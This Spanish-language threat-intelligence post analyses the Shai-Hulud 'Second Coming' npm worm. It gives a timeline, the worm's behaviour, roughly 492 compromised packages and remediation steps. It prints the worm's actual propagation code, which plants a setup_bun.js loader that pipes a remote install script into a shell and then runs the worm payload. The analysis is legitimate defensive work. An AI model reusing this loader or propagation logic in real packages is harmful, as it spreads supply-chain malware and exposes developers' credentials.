Es otro lunes por la mañana, sentado frente al ordenador. Y veo una pila de alertas de la última hora de paquetes que muestran signos de malware en nuestra cola de triaje. Sin haber terminado aún mi primera taza de café, veo indicadores de Shai Hulud. ¡Vaya, seguro que es un falso positivo? No, bienvenido al lunes, Shai Hulud ha atacado de nuevo. Prepárate.
Cronología de la Campaña Shai-Hulud
El momento es destacable, dado el reciente anuncio de npm de que revocará los tokens clásicos el 9 de diciembre tras la ola de ataques a la cadena de suministro. Con muchos usuarios aún sin migrar a la publicación de confianza, el atacante aprovechó el momento para un último golpe antes de la fecha límite de npm.
- 27 de agosto - Publicamos nuestro informe detallando la campaña S1ngularity dirigida a varios paquetes nx en npm.
- 16 de septiembre - El atacante golpea de nuevo, lanzando la primera ola de ataques de Shai-Hulud.
- 18 de septiembre - Publicamos un análisis de seguimiento, profundizando en las peculiaridades técnicas de la campaña y el comportamiento inicial de la carga útil.
- 24 de noviembre - Se produce un segundo ataque, bautizado como la “Segunda Venida” por los atacantes, justo antes de la fecha límite de npm para revocar los tokens antiguos.
¿Qué es Shai-Hulud?: Un breve recordatorio
Shai-Hulud, nombrado en honor a los gigantescos gusanos de arena de Dune como parte del gusto del atacante por el dramatismo, es un gusano npm autorreplicante diseñado para propagarse rápidamente a través de entornos de desarrollador comprometidos. Una vez que infecta un sistema, busca secretos expuestos como claves API y tokens utilizando TruffleHog y publica todo lo que encuentra en un repositorio público de GitHub. Luego intenta subir nuevas copias de sí mismo a npm, ayudando a su propagación por todo el ecosistema, mientras exfiltra datos de vuelta al atacante. Siguiendo con el tema dramático, el atacante se refiere a esta última ola como la “Segunda Venida.”
Diferencias respecto a la última vez
Esta vez, hay algunas diferencias significativas en el ataque:
- Instala bun con el archivo
setup_bun.jsy luego lo utiliza para ejecutarbun_environment.jsque es el código malicioso real. - Crea un repositorio con un nombre aleatorio y datos robados, en lugar de un nombre codificado.
- Infectará hasta 100 paquetes npm, en comparación con los 20 de la última vez.
- Si no puede autenticarse con GitHub o NPM, borrará todos los archivos del directorio Home del usuario.
Fuga de secretos
Esta vez, el malware también publica secretos en GitHub, con un nombre aleatorio y la descripción del repositorio:
"Sha1-Hulud: El Segundo Advenimiento."
Actualmente vemos 26.300 repositorios expuestos:

Errores cometidos de nuevo
Mientras analizábamos todos estos paquetes, hemos detectado varios paquetes comprometidos que parecen provenir de una propagación comunitaria, los cuales contienen el código de preparación inicial en setup_bun.js, pero NO bun_environment.js que es el propio gusano Shai Hulud. Este es el código que propaga el gusano a otros paquetes:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}Observamos que el bun_environment.js a veces puede no estar empaquetado, dependiendo de diferentes factores. Parece que los atacantes volvieron a cometer errores. Esto parece haber limitado el impacto del ataque en este momento.
Repositorios de GitHub comprometidos
El equipo de AsyncAPI detectó que se había creado una rama de su proyecto CLI, justo antes de que se subieran los paquetes maliciosos, la cual desplegó una versión del malware Shai Hulud.
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Esto sugiere que los atacantes podrían haber utilizado una técnica similar a cómo llevaron a cabo el compromiso original de Nx.
Empresas reconocen el incidente
Dada la naturaleza del incidente, nos complació mucho ver que las empresas reconocieran rápidamente lo sucedido, en publicaciones de estas compañías:
Paciente cero
Detectamos los primeros paquetes a partir del 24/11/2025 3:16:26 AM GMT+0, que fueron los paquetes go-template, y 36 paquetes de AsyncAPI. Muchos más paquetes fueron rápidamente comprometidos. Posteriormente, comenzaron a comprometer paquetes de PostHog el 24/11/2025 4:11:55 AM GMT+0, y paquetes de Postman el 24/11/2025 5:09:25 AM GMT+0.
¿Qué paquetes están afectados?
Hemos detectado los siguientes paquetes comprometidos con una nueva versión de Shai Hulud. Entre estos 492 paquetes, suman un total de 132 millones de descargas mensuales:
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- go-template
- @asyncapi/avro-schema-parser
- @asyncapi/converter
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/nunjucks-filters
- @asyncapi/protobuf-schema-parser
- @asyncapi/problem
- @asyncapi/optimizer
- @asyncapi/python-paho-template
- @asyncapi/multi-parser
- @asyncapi/bundler
- @asyncapi/php-template
- asyncapi-preview
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/generator-helpers
- @asyncapi/java-template
- @asyncapi/react-component
- @asyncapi/generator
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/web-component
- @asyncapi/specs
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/html-template
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/generator-components
- dotnet-template
- @asyncapi/keeper
- github-action-for-generator
- @asyncapi/nodejs-template
- @asyncapi/markdown-template
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- test23112222-api
- @asyncapi/generator-react-sdk
- @quick-start-soft/quick-markdown-compose
- iron-shield-miniapp
- manual-billing-system-miniapp-api
- shinhan-limit-scrap
- @strapbuild/react-native-perspective-image-cropper
- react-native-use-modal
- @quick-start-soft/quick-task-refine
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- create-glee-app
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/studio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/quick-remove-image-background
- eslint-config-zeallat-base
- korea-administrative-area-geo-json-util
- @quick-start-soft/quick-document-translator
- axios-builder
- posthog-node
- @posthog/first-time-event-tracker
- @posthog/event-sequence-timer-plugin
- @posthog/gitub-star-sync-plugin
- posthog-plugin-hello-world
- @posthog/bitbucket-release-tracker
- @posthog/maxmind-plugin
- @posthog/postgres-plugin
- @posthog/twilio-plugin
- @posthog/cli
- @posthog/clickhouse
- @posthog/snowflake-export-plugin
- posthog-react-native-session-replay
- @posthog/drop-events-on-property-plugin
- @posthog/github-release-tracking-plugin
- @posthog/icons
- @posthog/geoip-plugin
- @posthog/intercom-plugin
- @posthog/plugin-unduplicates
- @posthog/react-rrweb-player
- drop-events-on-property-plugin
- @posthog/ingestion-alert-plugin
- @posthog/kinesis-plugin
- @posthog/laudspeaker-plugin
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/automatic-cohorts-plugin
- @posthog/migrator3000-plugin
- @posthog/pagerduty-plugin
- @posthog/plugin-contrib
- @posthog/sendgrid-plugin
- @posthog/customerio-plugin
- @posthog/rrweb-utils
- @posthog/taxonomy-plugin
- @posthog/zendesk-plugin
- @posthog/netdata-event-processing
- @posthog/url-normalizer-plugin
- posthog-docusaurus
- @posthog/currency-normalization-plugin
- @posthog/filter-out-plugin
- @posthog/heartbeat-plugin
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/databricks-plugin
- @actbase/react-native-kakao-channel
- calc-loan-interest
- @actbase/react-absolute
- @actbase/react-daum-postcode
- @actbase/react-native-simple-video
- @posthog/core
- @posthog/lemon-ui
- @seung-ju/next
- @seung-ju/react-hooks
- posthog-react-native
- @actbase/css-to-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agent
- @posthog/variance-plugin
- discord-bot-server
- @posthog/rrweb-replay
- @posthog/rrweb-snapshot
- @actbase/node-server
- @actbase/react-native-devtools
- @posthog/plugin-server
- @posthog/rrweb-record
- @actbase/native
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/web-dev-server
- @posthog/piscina
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/wizard
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/twitter-followers-plugin
- @actbase/react-native-naver-login
- @seung-ju/openapi-generator
- @posthog/rrdom
- @posthog/hedgehog-mode
- react-native-worklet-functions
- expo-audio-session
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/aether-icons
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/my-angular-lib
- capacitor-plugin-apptrackingios
- capacitor-plugin-purchase
- capacitor-purchase-history
- capacitor-voice-recorder-wav
- scgs-capacitor-subscribe
- @postman/mcp-ui-client
- capacitor-plugin-scgssigninwithgoogle
- @kvytech/medusa-plugin-announcement
- @kvytech/medusa-plugin-product-reviews
- medusa-plugin-zalopay
- scgsffcreator
- @kvytech/habbit-e2e-test
- medusa-plugin-logs
- medusa-plugin-product-reviews-kvy
- @kvytech/medusa-plugin-promotion
- medusa-plugin-momo
- @kvytech/components
- medusa-plugin-announcement
- @kvytech/cli
- @kvytech/medusa-plugin-newsletter
- @kvytech/medusa-plugin-management
- @kvytech/web
- create-hardhat3-app
- test-hardhat-app
- evm-checkcode-cli
- gate-evm-tools-test
- gate-evm-check-code2
- web-types-htmx
- test-foundry-app
- web-types-lit
- bun-plugin-httpfile
- open2internet
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/blacklist
- @ensdomains/durin
- @ensdomains/renewal
- @ensdomains/cypress-metamask
- bytecode-checker-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/reverse-records
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registrar
- @ensdomains/renewal-widget
- crypto-addr-codec
- @ensdomains/solsha1
- @ensdomains/server-analytics
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/mock
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/hardhat-chai-matchers-viem
- @ensdomains/ccip-read-worker-viem
- @zapier/browserslist-config-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-async-storage
- @zapier/ai-actions
- @zapier/mcp-integration
- @zapier/spectral-api-ruleset
- @ensdomains/address-encoder
- redux-router-kit
- @ensdomains/eth-ens-namehash
- zapier-scripts
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-platform-legacy-scripting-runner
- zapier-platform-schema
- @ensdomains/dnssecoraclejs
- zapier-platform-core
- @ensdomains/op-resolver-contracts
- @ensdomains/ens-archived-contracts
- @ensdomains/ensjs
- @ensdomains/subdomain-registrar
- @ensdomains/unruggable-gateways
- @ensdomains/web3modal
- zapier-platform-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/curvearithmetics
- @zapier/secret-scrubber
- @ensdomains/hardhat-toolbox-viem-extended
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/content-hash
- @ensdomains/ens-avatar
- @zapier/ai-actions-react
- @zapier/eslint-plugin-zapier
- @ensdomains/offchain-resolver-contracts
- @ensdomains/ens-validation
- @ensdomains/name-wrapper
- @hapheus/n8n-nodes-pgp
- @markvivanco/app-version-checker
- claude-token-updater
- n8n-nodes-tmdb
- devstart-cli
- skills-use
- @mcp-use/inspector
- zuper-sdk
- zuper-stream
- @mcp-use/mcp-use
- create-mcp-use-app
- mcp-use
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- cpu-instructions
- lite-serper-mcp-server
- @louisle2/core
- jan-browser
- exact-ticker
- react-library-setup
- orbit-soap
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
- token.js-fork
- react-component-taggers
- @louisle2/cortex-js
- orbit-nebula-editor
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/bool-expressions
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-signedlink
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- atrix
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- orbit-boxicons
- atrix-mongoose
- bool-expressions
- react-element-prompt-inspector
- trigo-react-app
- @trigo/trigo-hapijs
- @trigo/fsm
- command-irail
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
- @trigo/atrix-postgres
- @orbitgtbelgium/time-slider
- @orbitgtbelgium/orbit-components
- orbit-nebula-draw-tools
- typeorm-orbit
- @mparpaillon/connector-parse
- @mparpaillon/imagesloaded
- @commute/market-data
- gitsafe
- @osmanekrem/error-handler
- @commute/bloom
- okta-react-router-6
- designstudiouiux
- itobuz-angular
- @ifelsedeveloper/protocol-contracts-svm-idl
- ito-button
- @dev-blinq/cucumber_client
- blinqio-executions-cli
- itobuz-angular-auth
- @dev-blinq/ai-qa-logic
- axios-timed
- react-native-email
- tenacious-fetch
- kill-port
- jacob-zuma
- luno-api
- @lessondesk/eslint-config
- sort-by-distance
- just-toasty
- image-to-uri
- react-native-phone-call
- formik-error-focus
- jquery-bindings
- @lessondesk/babel-preset
- barebones-css
- coinmarketcap-api
- license-o-matic
- @varsityvibe/api-client
- pico-uid
- hyperterm-hipster
- set-nested-prop
- bytes-to-x
- enforce-branch-name
- fittxt
- get-them-args
- react-native-retriable-fetch
- svelte-autocomplete-select
- feature-flip
- lint-staged-imagemin
- react-native-view-finder
- formik-store
- shell-exec
- react-native-log-level
- @everreal/web-analytics
- react-native-jam-icons
- @thedelta/eslint-config
- parcel-plugin-asset-copier
- react-native-websocket
- ra-data-firebase
- react-jam-icons
- react-native-fetch
- @ifings/design-system
- gatsby-plugin-cname
- @alexcolls/nuxt-ux
- react-native-datepicker-modal
- undefsafe-typed
- chrome-extension-downloads
- @alexcolls/nuxt-socket.io
- fuzzy-finder
- sa-company-registration-number-regex
- flapstacks
- react-keycloak-context
- react-qr-image
- @tiaanduplessis/react-progressbar
- @lessondesk/schoolbus
- @tiaanduplessis/json
- react-native-get-pixel-dimensions
- nanoreset
- next-circular-dependency
- url-encode-decode
- axios-cancelable
- compare-obj
- wenk
- haufe-axera-api-client
- obj-to-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/validation-schemas
- flatten-unflatten
- stoor
- @clausehq/flows-step-jsontoxml
- @accordproject/concerto-analysis
- hope-mapboxdraw
- count-it-down
- hopedraw
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/browser-sync-plugin
- generator-meteor-stock
- @fishingbooker/react-loader
- benmostyn-frame-print
- @fishingbooker/react-pagination
- @voiceflow/anthropic
- @voiceflow/voice-types
- @voiceflow/default-prompt-wrappers
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/test-common
- @voiceflow/husky-config
- @voiceflow/commitlint-config
- @voiceflow/git-branch-check
- normal-store
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- vf-oss-template
- @voiceflow/storybook-config
- @voiceflow/verror
- @voiceflow/alexa-types
- @voiceflow/nestjs-timeout
- @voiceflow/serverless-plugin-typescript
- @voiceflow/voiceflow-types
- shelf-jwt-sessions
- @hover-design/react
- @voiceflow/base-types
- @voiceflow/eslint-config
- @voiceflow/fetch
- @voiceflow/common
- @voiceflow/eslint-plugin
- @voiceflow/exception
- @voiceflow/dtos-interact
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-rate-limit
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- composite-reducer
- bidirectional-adapter
- @antstackio/express-graphql-proxy
- @antstackio/json-to-graphql
- @voiceflow/body-parser
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-component/core
- @pruthvi21/use-debounce
- @voiceflow/api-sdk
- @hover-design/core
- @faq-component/react
- @voiceflow/semantic-release-config
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-types
- n8n-nodes-viral-app
- @accordproject/markdown-docx
- @clausehq/flows-step-sendgridemail
- @lpdjs/firestore-repo-service
- @trefox/sleekshop-js
- invo
- jsonsurge
- mon-package-react-typescript
- rediff
- solomon-api-stories
- solomon-v3-stories
- solomon-v3-ui-wrapper
- tcsp-draw-test
- uplandui
Impacto potencial de Shai-Hulud: Second Coming
Actores de amenazas han introducido código malicioso en cientos de paquetes NPM — incluyendo algunos importantes de Zapier, ENS, AsyncAPI, PostHog, Browserbase y Postman. Si un desarrollador instala uno de estos paquetes maliciosos, el malware se ejecuta silenciosamente durante la instalación, antes incluso de que termine de instalarse cualquier cosa. Esto le otorga acceso a la máquina del desarrollador, a los sistemas de compilación o al entorno de la nube. Luego utiliza una herramienta automatizada (TruffleHog) para buscar información sensible como contraseñas, claves API, tokens de la nube y credenciales de GitHub o NPM. Todo lo que encuentra se sube a un repositorio público de GitHub etiquetado como “Sha1-Hulud: The Second Coming.” Si esos secretos robados incluyen acceso a repositorios de código o registros de paquetes, los atacantes pueden usarlos para acceder a más cuentas y publicar más paquetes maliciosos, lo que ayuda a que el ataque se propague aún más. Dado que se vieron involucrados ecosistemas de confianza y millones de descargas están afectadas, cualquier equipo que utilice NPM debería verificar inmediatamente si ha sido impactado y rotar cualquier credenciales que pueda haber sido filtrada.
¿Qué acciones deben tomar los equipos de seguridad?
- Auditar todas las dependencias y versiones de npm relacionadas con Zapier/ENS.
- Rotar todos los secretos de GitHub, npm, la nube y CI/CD utilizados durante las instalaciones.
- Verificar en GitHub repositorios extraños con la descripción “Sha1-Hulud: The Second Coming”
- Deshabilitar npm
postinstallscripts en CI, si es posible. - Fijar las versiones de los paquetes y aplicar MFA en las cuentas de GitHub y npm.
- Utilizar herramientas como Safe-Chain para bloquear paquetes maliciosos en NPM.

